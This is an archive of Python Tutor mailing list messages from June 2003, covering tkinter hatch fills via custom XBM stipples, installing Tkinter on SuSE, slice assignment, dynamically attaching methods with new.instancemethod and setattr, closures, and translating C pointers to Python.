I know that in tkinter we can fill the  canvas  rectangle's interior using =
"stipple". But my customer is expecting the rectangles to be filled with  d=
iagnal/vertical/horizantal lines. Is there any direct way is available in t=
kinter/Pmw to fill the rectangle with lines?=0Aor i have to use "create_lin=
e" command explicitly?=0A=0AWith Regards,=0AV.Suresh Kumar=0A =20
--Next_1055424002---0-203.199.83.37-12081
Content-type: text/html;
	charset=iso-8859-1
Content-Transfer-Encoding: quoted-printable
Content-Disposition: inline

<a href=3D"http://www.herohonda.com/karizma" target=3D"_blank">=0A<img src=
=3D"http://immail.rediff.com/icons/rediff_mail_gold/hhsignature_12062003.gi=
f" width=3D"496" height=3D"75" border=3D"0">=0A</a>=0A
--Next_1055424002---0-203.199.83.37-12081--



From zak@harlekin-maus.com  Thu Jun 12 10:47:01 2003
From: zak@harlekin-maus.com (Zak Arntson)
Date: Thu Jun 12 09:47:01 2003
Subject: [Tutor] Function assignment (was: Re: Function type?)
In-Reply-To: <2496.192.207.104.206.1055373997.squirrel@mail.harlekin-maus.com>
References: <2609.192.207.104.206.1055278632.squirrel@mail.harlekin-maus.com>
 <Pine.LNX.4.44.0306101724170.8902-100000@hkn.eecs.berkeley.edu>
 <1438.192.207.104.206.1055347229.squirrel@mail.harlekin-maus.com>
 <3EE769C4.8000306@ccvcorp.com>
 <2496.192.207.104.206.1055373997.squirrel@mail.harlekin-maus.com>
Message-ID: <3213.4.62.178.63.1055425571.squirrel@mail.harlekin-maus.com>

Oops ... accidentally sent this privately. I have to change my mailing
list settings or something :)

> Okay ... so I'm following things so far. MakeMsg is neat function! Now
> I'm trying to wrap my head around the instancemethod function. Here's my
> situation:
>
> I have an item class (for things like pipes) that needs to allow for
> methods to be dynamically added to it. So here's my totally unworking
> code:
>
> ###
> import new
>
> class Item:
>     def attach(self, name, func):
>         eval('self.%s = new.instancemethod(func, self, Item)' % name)
>
> # Example:
>
> pipe = Item()
>
> def pipe_desc(self):
>    if self.location == player:
>       return "You've got it!"
>    return "No dice"
>
> pipe.attach('desc', pipe_desc)
>
> # And here's a makeMsg, just for fun
> pipe.attach('longdesc', makeMsg("Here's a long description!!"))
>
> ###
>
> Does that make sense? I'm trying to attach a new method "desc" to the
> pipe Item. Only the code completely breaks.
>
> --
> Zak Arntson
> www.harlekin-maus.com - Games - Lots of 'em


-- 
Zak Arntson
www.harlekin-maus.com - Games - Lots of 'em




From max_ig@yahoo.com  Thu Jun 12 11:42:04 2003
From: max_ig@yahoo.com (MI)
Date: Thu Jun 12 10:42:04 2003
Subject: [Tutor] How to set up Tkinter in Linux?
Message-ID: <20030612144148.96007.qmail@web11305.mail.yahoo.com>

I've set up python2.2 on Linux (SuSE 8.0) but I can't set up Tkinter
even though I read the python.org/Tkinter section.

any idea?

Thanks,

Max



__________________________________
Do you Yahoo!?
Yahoo! Calendar - Free online calendar with sync to Outlook(TM).
http://calendar.yahoo.com


From abli@freemail.hu  Thu Jun 12 11:45:26 2003
From: abli@freemail.hu (Abel Daniel)
Date: Thu Jun 12 10:45:26 2003
Subject: [Tutor] Canvas rectangle filling
In-Reply-To: <20030612132002.12083.qmail@webmail27.rediffmail.com>
References: <20030612132002.12083.qmail@webmail27.rediffmail.com>
Message-ID: <20030612144348.GA4358@hooloovoo>

Suresh  Kumar wrote:
> Hi,
> Iam using python/tkinter/pmw in windows.
> Most of graphics languages provides facility to fill the rectangcle with
> horizantal/vertical lines. I know that in tkinter we can fill the canvas
> rectangle's interior using "stipple". But my customer is expecting the
> rectangles to be filled with  diagnal/vertical/horizantal lines. Is
> there any direct way is available in tkinter/Pmw to fill the rectangle with
> lines?
> or i have to use "create_line" command explicitly?
Well, creating the lines invidually is an option, but i think it's a
rather poor one. You would have to figure out the endpoints of each
line, which might work for rectangles, but will get almost impossible
for circles, or arcs.
(Not to mention that you would be creating a lot of lines, which i guess
would impact performance.)

I think the best idea would be to use stipple with custom bitmaps. For
example the following xbm file will create diagonal lines:
----8<----
/* Created with The GIMP */
#define lines_width 16
#define lines_height 16
static unsigned char lines_bits[] = {
   0x11, 0x11, 0x22, 0x22, 0x44, 0x44, 0x88, 0x88, 0x11, 0x11, 0x22, 0x22,
   0x44, 0x44, 0x88, 0x88, 0x11, 0x11, 0x22, 0x22, 0x44, 0x44, 0x88, 0x88,
   0x11, 0x11, 0x22, 0x22, 0x44, 0x44, 0x88, 0x88 };
----8<-----
Copy-paste this into a file, call it 'lines.xbm', and use it like:
canvas.create_rectangle(100,100,150,150, stipple='@lines.xbm', fill='black')

There might be two problems:
1) path to the xbm files. If you put your xbm files somewhere else than
the current directory, I think you will have to use the full path, like:
... stipple='@/path/to/file.xbm' ...
Which might complicate the matters as you have to keep track of where
your xbm files are, and use the appropriate path.

2) creating the xbm files themselves. If you only need some options like
'diagonal lines, close the each other' or 'vertical lines, far apart'
you could create some xbm files, and only provide those. (Essentially
hardcoding thos patterns.) If you need more flexibility, like 'lines at
60 degrees angle, 2 pixels wide and 7 pixels apart' you will have to
generate xbm files on the fly. A way of pipeing the xbm data would come
handy in this case, but I don't know if such exists. You might have to
save the generated xbm data to be able to pass the filename to tkinter.
I think generating the xbm files on the fly will be pretty easy, as they
are simply black&white bitmaps.

According to
http://www.pythonware.com/library/tkinter/introduction/x2861-options.htm
which is describing the options of arc object:
"As of Tk 8.0p2, the stipple option is ignored on the Windows platform.
To draw stippled pieslices or chords, you have to create corresponding
polygons."

But I think that doesn't affect other objects. (I didn't test on Windows)

Abel Daniel


From abli@freemail.hu  Thu Jun 12 11:58:08 2003
From: abli@freemail.hu (Abel Daniel)
Date: Thu Jun 12 10:58:08 2003
Subject: [Tutor] How to set up Tkinter in Linux?
In-Reply-To: <20030612144148.96007.qmail@web11305.mail.yahoo.com>
References: <20030612144148.96007.qmail@web11305.mail.yahoo.com>
Message-ID: <20030612145715.GA5147@hooloovoo>

MI wrote:
> I've set up python2.2 on Linux (SuSE 8.0) but I can't set up Tkinter
> even though I read the python.org/Tkinter section.
> 
> any idea?
The point of using a Linux distribution is that you don't have to
install everything from source. You just use the given distribution's
way of handling packages. Suse most likely has something like
'Install/Remove programs' in Yast. (I'm not too familiar with Suse.)
Look for something beginnig with 'python-tkinter'.

Abel Daniel


From bgailer@alum.rpi.edu  Thu Jun 12 13:09:02 2003
From: bgailer@alum.rpi.edu (Bob Gailer)
Date: Thu Jun 12 12:09:02 2003
Subject: [Tutor] Can you modify every nth item in a list with a
 single assignment?
In-Reply-To: <22-1602680473.20030611222020@columbus.rr.com>
Message-ID: <5.2.1.1.0.20030612093506.03dc76c8@66.28.54.253>

--=======26455778=======
Content-Type: multipart/alternative; x-avg-checked=avg-ok-17912FEA; boundary="=====================_6362669==.ALT"


--=====================_6362669==.ALT
Content-Type: text/plain; x-avg-checked=avg-ok-17912FEA; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 8bit

At 10:20 PM 6/11/2003 -0400, R. Alan Monroe wrote:

>I know I can modify every nth list item using a for loop over a
>range(start,end,n), but can it be done in a single assignment, without
>a loop?

No. Any operation on multiple elements of a list in any language is going 
to be implemented as a loop at some level, with the exception of 
vector-processing hardware such as the Cray computers.

What is your goal here?

If you want Python code without using a for or while statement consider:

 >>> def foo((a,b)):
...   if b%2:return a
...   else:return a+5
 >>> l = [1, 2, 3, 4]
 >>> map(foo,zip(l,range(len(l))))
[1, 7, 3, 9]

The test b%2 identifies elements of the list that have indexes not 
divisible by 2 and does not modify them. The other items are modified (in 
this case by adding 5. Change the test as needed to identify the items you 
want to modify.

Bob Gailer
bgailer@alum.rpi.edu
303 442 2625


--=====================_6362669==.ALT
Content-Type: text/html; x-avg-checked=avg-ok-17912FEA; charset=us-ascii
Content-Transfer-Encoding: 8bit

<html>
<body>
At 10:20 PM 6/11/2003 -0400, R. Alan Monroe wrote:<br><br>
<blockquote type=cite class=cite cite>I know I can modify every nth list
item using a for loop over a<br>
range(start,end,n), but can it be done in a single assignment,
without<br>
a loop?</blockquote><br>
No. Any operation on multiple elements of a list in any language is going
to be implemented as a loop at some level, with the exception of
vector-processing hardware such as the Cray computers.<br><br>
What is your goal here?<br><br>
If you want Python code without using a for or while statement
consider:<br><br>
<tt>&gt;&gt;&gt; def foo((a,b)):<br>
...&nbsp;&nbsp; if b%2:return a<br>
...&nbsp;&nbsp; else:return a+5<br>
&gt;&gt;&gt; l = [1, 2, 3, 4]<br>
&gt;&gt;&gt; map(foo,zip(l,range(len(l))))<br>
[1, 7, 3, 9]<br><br>
</tt>The test b%2 identifies elements of the list that have indexes not
divisible by 2 and does not modify them. The other items are modified (in
this case by adding 5. Change the test as needed to identify the items
you want to modify.<br>
<x-sigsep><p></x-sigsep>
Bob Gailer<br>
bgailer@alum.rpi.edu<br>
303 442 2625<br>
</body>
</html>


--=====================_6362669==.ALT--

--=======26455778=======
Content-Type: text/plain; charset=us-ascii; x-avg=cert; x-avg-checked=avg-ok-17912FEA
Content-Disposition: inline


---
Outgoing mail is certified Virus Free.
Checked by AVG anti-virus system (http://www.grisoft.com).
Version: 6.0.488 / Virus Database: 287 - Release Date: 6/5/2003

--=======26455778=======--



From dyoo@hkn.eecs.berkeley.edu  Thu Jun 12 14:03:02 2003
From: dyoo@hkn.eecs.berkeley.edu (Danny Yoo)
Date: Thu Jun 12 13:03:02 2003
Subject: [Tutor] Function assignment (was: Re: Function type?)
 [example:new.instancemethod]
In-Reply-To: <3EE769C4.8000306@ccvcorp.com>
Message-ID: <Pine.LNX.4.44.0306111059590.10306-100000@hkn.eecs.berkeley.edu>


On Wed, 11 Jun 2003, Jeff Shannon wrote:

> A few points...
>
> ># Function Description
> >
> >pipe = Item('pipe')
> >def pipe_desc():
> >    if self.parent = player:
> >         return "In your hand."
> >    return "On the floor."
> >pipe.desc = pipe_desc
> >
>
> Actually, this will *not* work.  In your pipe_desc() function, you use
> 'self' -- but there's nowhere for that self to come from!  You need to
> actually have self in the argument list, i.e. 'def pipe_desc(self):
> [...]' However, there's still one more trick needed.  In order for
> 'self' to be given the right value when called as a method, you have to
> tell Python that this is a method of your pipe object.  I believe that
> this can be done using the 'new' module's instancemethod() function.


[warning: the following is very dynamic code; do we really want to do
this?  *grin*]



Here's an example to show how this adding of methods can work:


###
>>> def attachFunction(instance, function, name):
...     """Function to make it a little cleaner to attach
...        a function to an instance."""
...     setattr(instance, name,
...             new.instancemethod(function, instance,
...                                instance.__class__))
...
>>> p1 = Person("Zak")
>>> p2 = Person("Jeff")
>>> def makeGreeter():
...     def f(self):
...         return "Hello, my name is " + self.name
...     return f
...
>>> attachFunction(p1, makeGreeter(), "greet")
>>> attachFunction(p2, makeGreeter(), "greet")
>>> p1.greet()
'Hello, my name is Zak'
>>> p2.greet()
'Hello, my name is Jeff'
###



This is not normally how we'd do the example above; the simpler and more
direct approach might be something like this:

###
>>> class Person:
...     def __init__(self, name):
...         self.name = name
...     def greet(self):
...         return "Hello, my name is " + self.name
...
>>> p1 = Person("Zak")
>>> p2 = Person("Jeff")
>>> p1.greet()
'Hello, my name is Zak'
>>> p2.greet()
'Hello, my name is Jeff'
###


The only reason we're going through that dynamic route is because Zak's
doing it that way.  *grin* But perhaps the simpler approach better mimics
what Inform does?  I'm not too familiar with Inform as a language; let's
take a look at that code snippet again:


!!!

Object pipe
  has   name 'pipe',
        description [;
            if (self in player)
                print_ret "In your hand.";
            else
                print_ret "On the floor.";
        ],
;

! String Description (for comparison)

Object pipe2
  has   name 'pipe',
        description "A boring pipe, with no changing description.",
;

!!!


Here's a few questions I have: in Inform, do the two definitions above
create templates for all kinds of pipes, or do they make single object
instances?  Does Inform allow the addition/attachment of different
attributes to an 'Object' (like 'name' or 'description') after it's been
created?

(Maybe I should look at Inform when I have a chance; looks interesting!)



Without knowing anything, I would have thought the equivalent Python code
would be:

###
## Assume GameObject is defined, and that it has an 'in_player' method

class pipe(GameObject):
    def name(self):
        return 'pipe'
    def description(self):
        if self.in_player():
            return "In your hand."
        else:
            return "On the floor."

class pipe2(GameObject):
    def name(self):
        return 'pipe'
    def description(self):
        return 'A boring pipe, with no changing description."
###



Good luck to you!



From magnus@thinkware.se  Thu Jun 12 14:13:21 2003
From: magnus@thinkware.se (Magnus =?iso-8859-1?Q?Lyck=E5?=)
Date: Thu Jun 12 13:13:21 2003
Subject: [Tutor] How to set up Tkinter in Linux?
In-Reply-To: <20030612144148.96007.qmail@web11305.mail.yahoo.com>
Message-ID: <5.2.1.1.0.20030612170944.01e734a0@www.thinkware.se>

At 07:41 2003-06-12 -0700, MI wrote:
>I've set up python2.2 on Linux (SuSE 8.0) but I can't set up Tkinter
>even though I read the python.org/Tkinter section.

Is Tcl/Tk installed? Tkinter is just an interface to Tcl/Tk,
so it won't work without it. I guess it also has to be a
matching version, but if you consistently use the SuSE 8.0
rpms I'm pretty sure it will work.


--
Magnus Lycka (It's really Lyck&aring;), magnus@thinkware.se
Thinkware AB, Sweden, www.thinkware.se
I code Python ~ The Agile Programming Language 



From jeff@ccvcorp.com  Thu Jun 12 14:22:01 2003
From: jeff@ccvcorp.com (Jeff Shannon)
Date: Thu Jun 12 13:22:01 2003
Subject: [Tutor] Can you modify every nth item in a list with a single
 assignment?
References: <22-1602680473.20030611222020@columbus.rr.com>
Message-ID: <3EE8B666.1030209@ccvcorp.com>

R. Alan Monroe wrote:

>I know I can modify every nth list item using a for loop over a
>range(start,end,n), but can it be done in a single assignment, without
>a loop?
>  
>

To some degree, yes.

 >>> list1
[0, 1, 2, 3, 4, 5, 6, 7, 8, 9]
 >>> list2
['a', 'b', 'c', 'd']
 >>> list1[2:6] = list2[:]
 >>> list1
[0, 1, 'a', 'b', 'c', 'd', 6, 7, 8, 9]
 >>>

You can assign to a list slice.  Note that you can change the length of 
the list by doing so, as well.

 >>> list1
[0, 1, 2, 3, 4, 5, 6, 7, 8, 9]
 >>> list1[:2] = list2
 >>> list1
['a', 'b', 'c', 'd', 2, 3, 4, 5, 6, 7, 8, 9]
 >>>

Of course, for this to work, you need to have a list (or other sequence) 
of the new values.

Jeff Shannon
Technician/Programmer
Credit International




From bgailer@alum.rpi.edu  Thu Jun 12 14:48:01 2003
From: bgailer@alum.rpi.edu (Bob Gailer)
Date: Thu Jun 12 13:48:01 2003
Subject: [Tutor] Function assignment (was: Re: Function type?)
In-Reply-To: <3213.4.62.178.63.1055425571.squirrel@mail.harlekin-maus.co
 m>
References: <2496.192.207.104.206.1055373997.squirrel@mail.harlekin-maus.com>
 <2609.192.207.104.206.1055278632.squirrel@mail.harlekin-maus.com>
 <Pine.LNX.4.44.0306101724170.8902-100000@hkn.eecs.berkeley.edu>
 <1438.192.207.104.206.1055347229.squirrel@mail.harlekin-maus.com>
 <3EE769C4.8000306@ccvcorp.com>
 <2496.192.207.104.206.1055373997.squirrel@mail.harlekin-maus.com>
Message-ID: <5.2.1.1.0.20030612102750.024c5780@66.28.54.253>

--=======582A30F2=======
Content-Type: multipart/alternative; x-avg-checked=avg-ok-17912FEA; boundary="=====================_12258356==.ALT"


--=====================_12258356==.ALT
Content-Type: text/plain; x-avg-checked=avg-ok-17912FEA; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 8bit

At 06:46 AM 6/12/2003 -0700, Zak Arntson wrote:

>Oops ... accidentally sent this privately. I have to change my mailing
>list settings or something :)
>
> > Okay ... so I'm following things so far. MakeMsg is neat function! Now
> > I'm trying to wrap my head around the instancemethod function. Here's my
> > situation:
> >
> > I have an item class (for things like pipes) that needs to allow for
> > methods to be dynamically added to it. So here's my totally unworking
> > code:
> >
> > ###
> > import new
> >
> > class Item:
> >     def attach(self, name, func):
> >         eval('self.%s = new.instancemethod(func, self, Item)' % name)

eval is for expressions. Alas, assignment is a statement rather than an 
expression.
Try exec instead.

> >
> > # Example:
> >
> > pipe = Item()
> >
> > def pipe_desc(self):
> >    if self.location == player:
> >       return "You've got it!"
> >    return "No dice"
> >
> > pipe.attach('desc', pipe_desc)
> >
> > # And here's a makeMsg, just for fun
> > pipe.attach('longdesc', makeMsg("Here's a long description!!"))
> >
> > ###
> >
> > Does that make sense? I'm trying to attach a new method "desc" to the
> > pipe Item. Only the code completely breaks.

The manual says "instancemethod(function, instance, class) This function 
will return a method object, bound to instance....".

This suggests:

class Item:
     def attach(self, name, func):
         new.instancemethod(func, self, Item)


Bob Gailer
bgailer@alum.rpi.edu
303 442 2625


--=====================_12258356==.ALT
Content-Type: text/html; x-avg-checked=avg-ok-17912FEA; charset=us-ascii
Content-Transfer-Encoding: 8bit

<html>
<body>
At 06:46 AM 6/12/2003 -0700, Zak Arntson wrote:<br><br>
<blockquote type=cite class=cite cite>Oops ... accidentally sent this
privately. I have to change my mailing<br>
list settings or something :)<br><br>
&gt; Okay ... so I'm following things so far. MakeMsg is neat function!
Now<br>
&gt; I'm trying to wrap my head around the instancemethod function.
Here's my<br>
&gt; situation:<br>
&gt;<br>
&gt; I have an item class (for things like pipes) that needs to allow
for<br>
&gt; methods to be dynamically added to it. So here's my totally
unworking<br>
&gt; code:<br>
&gt;<br>
&gt; ###<br>
&gt; import new<br>
&gt;<br>
&gt; class Item:<br>
&gt;&nbsp;&nbsp;&nbsp;&nbsp; def attach(self, name, func):<br>
&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; eval('self.%s =
new.instancemethod(func, self, Item)' % name)</blockquote><br>
eval is for expressions. Alas, assignment is a statement rather than an
expression.<br>
Try exec instead.<br><br>
<blockquote type=cite class=cite cite>&gt;<br>
&gt; # Example:<br>
&gt;<br>
&gt; pipe = Item()<br>
&gt;<br>
&gt; def pipe_desc(self):<br>
&gt;&nbsp;&nbsp;&nbsp; if self.location == player:<br>
&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; return &quot;You've got
it!&quot;<br>
&gt;&nbsp;&nbsp;&nbsp; return &quot;No dice&quot;<br>
&gt;<br>
&gt; pipe.attach('desc', pipe_desc)<br>
&gt;<br>
&gt; # And here's a makeMsg, just for fun<br>
&gt; pipe.attach('longdesc', makeMsg(&quot;Here's a long
description!!&quot;))<br>
&gt;<br>
&gt; ###<br>
&gt;<br>
&gt; Does that make sense? I'm trying to attach a new method
&quot;desc&quot; to the<br>
&gt; pipe Item. Only the code completely breaks.</blockquote><br>
The manual says
&quot;<a name="l2h-646"></a><tt>instancemethod</tt>(function, instance,
class) This function will return a method object, bound to
instance....&quot;.<br><br>
This suggests: <br><br>
class Item:<br>
&nbsp;&nbsp;&nbsp; def attach(self, name, func):<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; new.instancemethod(func, self,
Item)<br><br>
<x-sigsep><p></x-sigsep>
Bob Gailer<br>
bgailer@alum.rpi.edu<br>
303 442 2625<br>
</body>
</html>


--=====================_12258356==.ALT--

--=======582A30F2=======
Content-Type: text/plain; charset=us-ascii; x-avg=cert; x-avg-checked=avg-ok-17912FEA
Content-Disposition: inline


---
Outgoing mail is certified Virus Free.
Checked by AVG anti-virus system (http://www.grisoft.com).
Version: 6.0.488 / Virus Database: 287 - Release Date: 6/5/2003

--=======582A30F2=======--



From jeff@ccvcorp.com  Thu Jun 12 15:09:01 2003
From: jeff@ccvcorp.com (Jeff Shannon)
Date: Thu Jun 12 14:09:01 2003
Subject: [Tutor] Function assignment (was: Re: Function type?)
References: <2496.192.207.104.206.1055373997.squirrel@mail.harlekin-maus.com> <2609.192.207.104.206.1055278632.squirrel@mail.harlekin-maus.com> <Pine.LNX.4.44.0306101724170.8902-100000@hkn.eecs.berkeley.edu> <1438.192.207.104.206.1055347229.squirrel@mail.harlekin-maus.com> <3EE769C4.8000306@ccvcorp.com> <2496.192.207.104.206.1055373997.squirrel@mail.harlekin-maus.com> <5.2.1.1.0.20030612102750.024c5780@66.28.54.253>
Message-ID: <3EE8C147.8000608@ccvcorp.com>

Bob Gailer wrote:

> At 06:46 AM 6/12/2003 -0700, Zak Arntson wrote:
>
>> > class Item:
>> >     def attach(self, name, func):
>> >         eval('self.%s = new.instancemethod(func, self, Item)' % name)
>
>
> eval is for expressions. Alas, assignment is a statement rather than 
> an expression.
> Try exec instead.


Better yet, don't use either -- use setattr().

    def attach(self, name, func):
        setattr(self, name, new.instancemethod(func, self, Item))

(Note -- I haven't tested that your use of instancemethod() is correct, 
I'm only pointing out that setattr() is a better solution here than 
exec/eval() is.  There's almost *always* a better solution than 
exec/eval() ... )

Jeff Shannon
Technician/Programmer
Credit International






From zak@harlekin-maus.com  Thu Jun 12 15:35:02 2003
From: zak@harlekin-maus.com (Zak Arntson)
Date: Thu Jun 12 14:35:02 2003
Subject: [Tutor] Function assignment (was: Re: Function type?)  [example:new.instancemethod]
In-Reply-To: <Pine.LNX.4.44.0306111059590.10306-100000@hkn.eecs.berkeley.edu>
References: <3EE769C4.8000306@ccvcorp.com>
 <Pine.LNX.4.44.0306111059590.10306-100000@hkn.eecs.berkeley.edu>
Message-ID: <1946.192.206.201.95.1055442890.squirrel@mail.harlekin-maus.com>

> On Wed, 11 Jun 2003, Jeff Shannon wrote:
>
> [warning: the following is very dynamic code; do we really want to do
> this?  *grin*]

Of course! Actually, it's good to discuss that. A lot of times we'll write
hefty code, not realizing it isn't needed (and by "we" I mean "me"). After
this big exercise, I may decide NOT to incorporate dynamically-added
functions. But it's still a cool thing to know.

Using your way, I concocted this class:
###
import new

class PyFictObject:
    def attach(self, func, name=None):
        setattr(self,
                name or func.__name__,
                new.instancemethod(func, self, PyFictObject))
    def msg(self, name, message):
        def f(self, message):
            return message
        self.attach(f, name)

# sample usage

pipe = PyFictobject()

# First, use attach to add a function.
def desc(self):
    return "Here's a pipeDesc function! It could be more complicated."
pipe.attach(desc)

# Second, use msg to add a "string" which is really a function
pipe.msg('name', 'big green pipe')

###

Unfortunately, the msg function isn't working at all. I can't figure it out!

>
> The only reason we're going through that dynamic route is because Zak's
> doing it that way.  *grin* But perhaps the simpler approach better
> mimics what Inform does?
<SNIP>
> Here's a few questions I have: in Inform, do the two definitions above
> create templates for all kinds of pipes, or do they make single object
> instances?

The two definitions make a pair of object instances. Their class is Object.

>  Does Inform allow the addition/attachment of different
> attributes to an 'Object' (like 'name' or 'description') after it's been
> created?

No. All properties (methods, lists, variables) and attributes (logicals)
must be defined _for all instances of every class_. The equivalent Python
code (if you defined things in advance) would be (well, the following code
is actually buggy, but you can see what I'm seeing):

###
class GameObject:
   def name(self): pass    #stub
   def description(self): pass     #stub
   # OTHER STUFF, LIKE in_player METHOD

pipe = GameObject()
def name (self):
   return 'pipe'
attach(pipe, name, 'name')
def description (self):
   if self.in_player():
      return 'pipe in your hand!'
   return 'pipe on the floor.'
attach(pipe, name, 'name')

# pipe2 excluded, but you get the idea

###

-- 
Zak Arntson
www.harlekin-maus.com - Games - Lots of 'em




From dyoo@hkn.eecs.berkeley.edu  Thu Jun 12 16:55:08 2003
From: dyoo@hkn.eecs.berkeley.edu (Danny Yoo)
Date: Thu Jun 12 15:55:08 2003
Subject: [Tutor] Function assignment (was: Re: Function type?)  [lexical
 scope]
In-Reply-To: <1946.192.206.201.95.1055442890.squirrel@mail.harlekin-maus.com>
Message-ID: <Pine.LNX.4.44.0306121226210.2523-100000@hkn.eecs.berkeley.edu>


On Thu, 12 Jun 2003, Zak Arntson wrote:

> > On Wed, 11 Jun 2003, Jeff Shannon wrote:
> >
> > [warning: the following is very dynamic code; do we really want to do
> > this?  *grin*]
>
> Of course! Actually, it's good to discuss that. A lot of times we'll
> write hefty code, not realizing it isn't needed (and by "we" I mean
> "me"). After this big exercise, I may decide NOT to incorporate
> dynamically-added functions. But it's still a cool thing to know.
>
> Using your way, I concocted this class:
> ###
> import new
>
> class PyFictObject:
>     def attach(self, func, name=None):
>         setattr(self,
>                 name or func.__name__,
>                 new.instancemethod(func, self, PyFictObject))
>     def msg(self, name, message):
>         def f(self, message):
>             return message
>         self.attach(f, name)



In the msg() method,

###
    def msg(self, name, message):
        def f(self, message):
            return message
        self.attach(f, name)
###

That 'f' function that's internally defined doesn't have to take in
'message' as a parameter.  Because 'f' is being defined within a function
that already has 'message', it can just use it:


###
    def msg(self, name, message):
        def f(self):
            return message
        self.attach(f, name)
###



This is one of the major cool things about Python and other "lexically
scoped" languages; these kinds of languages provide the ability to borrow
variable values from the outside.  Since 'f' is embedding in the same
lexical block of msg, it has access access to all of the local variables
too.


Here are a few more examples of lexical scope in action:

###
>>> def prefixMaker(prefix):
...     def f(x):
...         return prefix + x
...     return f
...
>>> foo = prefixMaker('Foo!')
>>> foo('bar')
'Foo!bar'
>>> foo('tar')
'Foo!tar'
>>>
>>>
>>> def alternatingMsg(msg1, msg2):
...     state = { 'count' : 0 }
...     def f():
...         state['count'] += 1
...         if state['count'] % 2 == 0:
...             return msg1
...         else:
...             return msg2
...     return f
...
>>> flip_flop = alternatingMsg('flip', 'flop')
>>> flip_flop()
'flop'
>>> flip_flop()
'flip'
>>> flip_flop()
'flop'
>>> flip_flop()
'flip'
###


True lexical scope --- nested scope --- is one of those things that's hard
to do in a traditional language like C (although we can sorta fake it with
classes in C++).


And the second example shows something very neat:  it's a hint of the sort
of thing that's was only possible with classes before: flip_flop() is a
function that has a kind of state memory.  In fact, with a little more
work, these things start looking a lot like classes, but without the extra
syntax.


Please feel free to ask questions about it: it may be new enough to Python
programmers that it's worthwhile to delve into it.


Good luck!



From zak@harlekin-maus.com  Thu Jun 12 17:00:02 2003
From: zak@harlekin-maus.com (Zak Arntson)
Date: Thu Jun 12 16:00:02 2003
Subject: [Tutor] Adding dynamic methods (was RE: Function assignment)
In-Reply-To: <1946.192.206.201.95.1055442890.squirrel@mail.harlekin-maus.com>
References: <3EE769C4.8000306@ccvcorp.com>
 <Pine.LNX.4.44.0306111059590.10306-100000@hkn.eecs.berkeley.edu>
 <1946.192.206.201.95.1055442890.squirrel@mail.harlekin-maus.com>
Message-ID: <2096.192.206.201.95.1055447968.squirrel@mail.harlekin-maus.com>

Okay, for everyone following along, here's my current draft. It works!

###
import new

class PyFictObject:
    def attach(self, func, name=None):
        setattr(self,
                name or func.__name__,
                new.instancemethod(func, self, PyFictObject))

    def msg(self, name, message):
        def f(self):
            return message
        self.attach(f, name)

    def get(self, name, *arg):
        func = getattr(self, name, False)
        if func:
            if callable(func):
                return func()
            return func
        return False

# setup our object
pipe = PyFictObject()
pipe.obj = ['pipe', 'bar']
pipe.adj = ['green', 'rusty']
pipe.msg('name', 'green pipe')
def desc(self):
    return "A rusty green pipe."
pipe.attach(desc)

# test our object
print pipe.get('obj')     # returns a list
print pipe.get('name')    # returns a string
print pipe.get('desc')    # returns a string

###

-- 
Zak Arntson
www.harlekin-maus.com - Games - Lots of 'em




From dyoo@hkn.eecs.berkeley.edu  Thu Jun 12 17:14:02 2003
From: dyoo@hkn.eecs.berkeley.edu (Danny Yoo)
Date: Thu Jun 12 16:14:02 2003
Subject: [Tutor] Can you modify every nth item in a list with a single
 assignment?
In-Reply-To: <22-1602680473.20030611222020@columbus.rr.com>
Message-ID: <Pine.LNX.4.44.0306121305590.3403-100000@hkn.eecs.berkeley.edu>


On Wed, 11 Jun 2003, R. Alan Monroe wrote:

> I know I can modify every nth list item using a for loop over a
> range(start,end,n), but can it be done in a single assignment, without a
> loop?


Hi Alan,


We almost have this at the moment; Python 2.2 supports a limited form of
this for whole consecutive slices:

###
>>> l = range(20)
>>> l
[0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19]
>>> l[:5] = [1, 1, 1, 1, 1, 1]
>>> l
[1, 1, 1, 1, 1, 1, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19]
###

and in the upcoming Python 2.3, it should be easy to express this with the
extended slicing syntax:

    http://www.python.org/doc/2.3b1/whatsnew/section-slices.html


Lots of good stuff to look forward to.  *grin*

(I think Numeric Python also supports something like this in its matrix
class; does someone have comments about it?)



But until Python 2.3 becomes mainstream, we may need to stick with the
loop approach.



Good luck!



From alan.gauld@blueyonder.co.uk  Thu Jun 12 18:27:02 2003
From: alan.gauld@blueyonder.co.uk (Alan Gauld)
Date: Thu Jun 12 17:27:02 2003
Subject: [Tutor] Pointer handling
References: <Sea1-F68LV47ozI9Wbb0000bc32@hotmail.com>
Message-ID: <000301c33129$5d7932f0$6401a8c0@xp>

Jimmy,

> I am having a problem with handling pointers.

Simply asking us to translate C uinto Python is probably not the
most effective approach. For one thing there is no direct
translation - Python does not have a separation betweeen pointers
and static variables and Python uses higher order data types
like lists instead of dumb arrays. Therefore if you give us a
clue what the code is trying to do we are better placed to help.

Also:

> ABC( XYZ *aa)

This would be better expressed to us as:

ABC(XYZ aa[])

to make it clear that you are expecting an array of XYZs not
just a reference to a single one.

>        bb = &aa[no];    // no is some integer value.

And its not clear here whether you want bb to refer to a
single element of aa or to refer to the list of aa from no
onwards. In C either use is possible, in Python they are
quite different things...

> def ABC(XYZ):
>       g = XYZ();
>

I'm not sure what this means. remember that indentation
means something in Python so this says you are dfining
a function ABC that takes a callable object (function or
class object) and then assigns the result to g(no semicolon
needed!) and then throws it all away and returns None(void)

I'm not sure what it has to do with the previous code.

Alan G.



>
>
> How the code here can behave like the code above.
>
>
> Waiting for the suggestions.
>
> Regards,
>
> Jim
>
> _________________________________________________________________
> Narain Karthikeyan. He's fast, really fast.
> http://server1.msn.co.in/sp03/tataracing/index.asp Want to meet him?
>
>
>



From hsi667@hotmail.com  Thu Jun 12 20:00:03 2003
From: hsi667@hotmail.com (Hsi-Chen Lee)
Date: Thu Jun 12 19:00:03 2003
Subject: [Tutor] Can you modify every nth item in a list with a single assignment?
Message-ID: <Law8-F15esqN0zYE3SA0000f775@hotmail.com>

I think one thing you might be able to do is use list comprehensions (after 
v2.0, correct me if I'm wrong).

list2 = [do_something_to_x for x in list1]
